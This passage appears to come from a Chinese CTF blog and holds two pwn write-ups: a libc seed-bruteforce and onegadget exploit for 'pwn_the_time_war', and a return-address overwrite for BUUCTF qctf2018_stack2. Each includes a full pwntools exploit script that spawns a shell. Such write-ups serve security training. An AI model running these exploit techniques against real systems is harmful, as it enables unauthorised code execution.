 code[ind1] = val1;
 code[ind2] = val2;
 printf("The box remains locked.\n");
}

int main(void) {
 init();
 run();
 return 0;
}

有两个越界写，可以用来劫持

由于有 pie ，第一次劫持的时候需要去爆 1/16

这题需要打 libc ，由于随机数种子为 clock_gettime 的地址的低 4 字节，我们可以去根据生成的随机数去爆破种子从而 leak libc 的一部分

4 个随机数不够，8 个刚好

最后通过伪造栈帧去打 onegadget 即可，不过会碰到缺 libc 的高 4 字节的问题，这一点可以通过把栈上残留值搬到缺失的位置上来解决，需要利用 scanf 解析失败保留原变量值的特性

exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115


from pwn import *
from ctypes import CDLL

context.log_level = 'debug'
context.arch = 'amd64'
context.os = 'linux'
context.terminal = ['tmux', 'splitw', '-h']

debug = 1

file = './pwn_the_time_war_patched'
elf = ELF(file)
libc = ELF('./libc.so.6')
glibc = CDLL('libc.so.6')

target = '60.205.163.215'
port = 13774

def conn():
 if debug:
 return process(file)
 else:
 return remote(target, port)

def dbg(cmd = ''):
 if debug:
 gdb.attach(p, gdbscript = cmd)

p = io = None

s = lambda data :p.send(data)
sl = lambda data :p.sendline(data)
sa = lambda x, data :p.sendafter(x, data)
sla = lambda x, data :p.sendlineafter(x, data)
r = lambda num=4096 :p.recv(num)
rl = lambda num=4096 :p.recvline(num)
ru = lambda x :p.recvuntil(x)
itr = lambda :p.interactive()
uu32 = lambda data :u32(data.ljust(4, b'\x00'))
uu64 = lambda data :u64(data.ljust(8, b'\x00'))
uru64 = lambda :uu64(ru('\x7f')[-6:])
leak = lambda name :log.success(name + ' = ' + hex(eval(name)))

numslot = []
seed = 0

def change(idx, val):
 sla(b'turn? ', str(idx).encode())
 sla(b'to? ', str(val).encode())

def recvnum():
 ru(b'lock reads: ')
 for _ in range(3):
 numslot.append(int(ru(b'-')[:-1]))
 numslot.append(int(ru(b'\n')[:-1]))

def hijacklow(idx, addr):
 libc_low = seed - 0xcf420 + addr
 change(10, 0x132A)
 change(idx, libc_low & 0xffff)
 change(10, 0x132A)
 change(idx + 1, (libc_low >> 16) & 0xffff)

def attack():
 global p, io, numslot, seed
 while True:
 try:
 p = io = conn()
 numslot.clear()
 recvnum()
 change(10, 0x132A)
 change(28, '+')
 recvnum()
 except:
 p.close()
 continue
 break
 log.info(f'{numslot}')
 for i in range(0, 0x100000):
 seed = i * 0x1000 + 0x420
 glibc.srand(seed)
 judgeslot = [glibc.rand() % 16 for _ in range(8)]
 if judgeslot == numslot:
 numslot.clear()
 log.info(f"Found the correct seed: {hex(seed)}")
 break
 hijacklow(18, 0x319ad)
 hijacklow(26, 0x4c139)
 change(0, 0)
 change(0, 0)
 itr()

attack()

# 0x00000000000319ad: pop rbx; ret;

# 0x4c139 posix_spawn(rsp+0xc, "/bin/sh", 0, rbx, rsp+0x50, environ)
# constraints:
# address rsp+0x60 is writable
# rsp & 0xf == 0
# rax == NULL || {"sh", rax, r12, NULL} is a valid argv
# rbx == NULL || (u16)[rbx] == NULL

# 0x4c140 posix_spawn(rsp+0xc, "/bin/sh", 0, rbx, rsp+0x50, environ)
# constraints:
# address rsp+0x60 is writable
# rsp & 0xf == 0
# rcx == NULL || {rcx, rax, r12, NULL} is a valid argv
# rbx == NULL || (u16)[rbx] == NULL

# 0xd515f execve("/bin/sh", rbp-0x40, r13)
# constraints:
# address rbp-0x38 is writable
# rdi == NULL || {"/bin/sh", rdi, NULL} is a valid argv
# [r13] == NULL || r13 == NULL || r13 is a valid envp

BUUCTF-qctf2018_stack2 题解

Mon, 12 Jan 2026 09:58:00 +0000

题目

题目链接

checksec

IDA

有一个利用 v13 越界的漏洞，直接劫持返回地址到后门即可

backdoor

exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44


from pwn import *

context.log_level = "debug"
context.arch = "i386"

io = process("./stack2")

io.recvuntil(b"have:\n")
io.sendline(b'1')

io.recvuntil(b"numbers\n")
io.sendline(b'1')
io.recvuntil(b"exit\n")
io.sendline(b'3')
io.recvuntil(b"change:\n")
io.sendline(b'132')
io.recvuntil(b"number:\n")
io.sendline(b"155")

io.recvuntil(b"exit\n")
io.sendline(b'3')
io.recvuntil(b"change:\n")
io.sendline(b'133')
io.recvuntil(b"number:\n")
io.sendline(b"133")

io.recvuntil(b"exit\n")
io.sendline(b'3')
io.recvuntil(b"change:\n")
io.sendline(b'134')
io.recvuntil(b"number:\n")
io.sendline(b"4")

io.recvuntil(b"exit\n")
io.sendline(b'3')
io.recvuntil(b"change:\n")
io.sendline(b'135')
io.recvuntil(b"number:\n")
io.sendline(b"8")

io.recvuntil(b"exit\n")
io.sendline(b'5')

io.interactive()